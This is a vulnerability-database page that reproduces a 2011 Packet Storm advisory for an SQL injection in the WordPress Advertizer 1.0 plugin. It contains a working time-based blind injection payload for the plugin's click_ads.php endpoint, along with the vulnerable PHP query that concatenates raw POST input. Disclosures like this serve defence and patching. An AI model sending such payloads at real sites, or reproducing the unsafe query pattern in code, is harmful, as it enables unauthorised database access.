Lucene search
K

WordPress Advertizer 1.0 SQL Injection

🗓️ 30 Aug 2011 00:00:00Reported by Miroslav StamparType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

WordPress Advertizer 1.0 SQL Injection Vulnerability 2011-08-29 Miroslav Stampa

Code
`# Exploit Title: WordPress Advertizer plugin <= 1.0 SQL Injection Vulnerability  
# Date: 2011-08-29  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/advertizer.1.0.zip  
# Version: 1.0 (tested)  
# Note: magic_quotes has to be turned off  
  
---------------  
PoC (POST data)  
---------------  
http://www.site.com/wp-content/plugins/advertizer/click_ads.php  
id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20  
  
---------------  
Vulnerable code  
---------------  
$res = $wpdb->get_row("SELECT `limit_clicks`, `trace_clicks` FROM `".$wpdb->prefix."adv_v_base` WHERE `id` = '".$_POST[id]."' limit 1;");  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Aug 2011 00:00Current
0.1Low risk
Vulners AI Score0.1
16